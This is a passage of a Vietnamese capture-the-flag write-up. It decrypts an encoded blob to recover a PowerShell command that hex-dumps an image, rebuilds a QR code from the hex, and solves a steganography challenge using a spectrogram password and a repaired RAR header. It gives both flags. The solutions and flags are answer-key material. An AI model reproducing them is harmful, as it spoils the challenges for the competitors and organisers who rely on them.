b = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"
print(decrypt(cipher, b0)[16:].decode())
print(decrypt(cipher, b1)[16:].decode())
Kết quả thu về
1
2
VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''
VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0e....
Đó là mã hex của file ảnh, ta thu được mã qr và lấy ra flag
Flag: CHH{D0n’t_w0rRy_n0_st@r_wh3rE}
Stenography
CutieK1tty
Description
Một chú mèo cute chứa đựng nhiều điều bí ẩn. Hãy tìm ra điều thú vị đó.
Tải challenge: https://drive.google.com/file/d/18iGHuowoRUsWqwNmnuWqrqsHbMLwBJG_/view?usp=drive_link (pass: cookiehanhoan)
Solution
Đọc .png
dưới dạng txt, thấy 2 tên fle lạ
Đổi tên sang .zip, sử dụng 7zip giải nén file ra
Đối với file .mp3
sử dụng tool https://academo.org/demos/spectrum-analyzer/
Có thể nó là pass rar chăng: sp3ctrum_1s_y0ur_fr13nd
Tuy nhiên file rar bị corrupt do header của nó là Cat!
, vậy chuyển nó thành Rar!
Nhập pass mở file .rar
ta được flag (encode bằng base64):
Flag: CHH{f0r3n51cs_ma5t3r}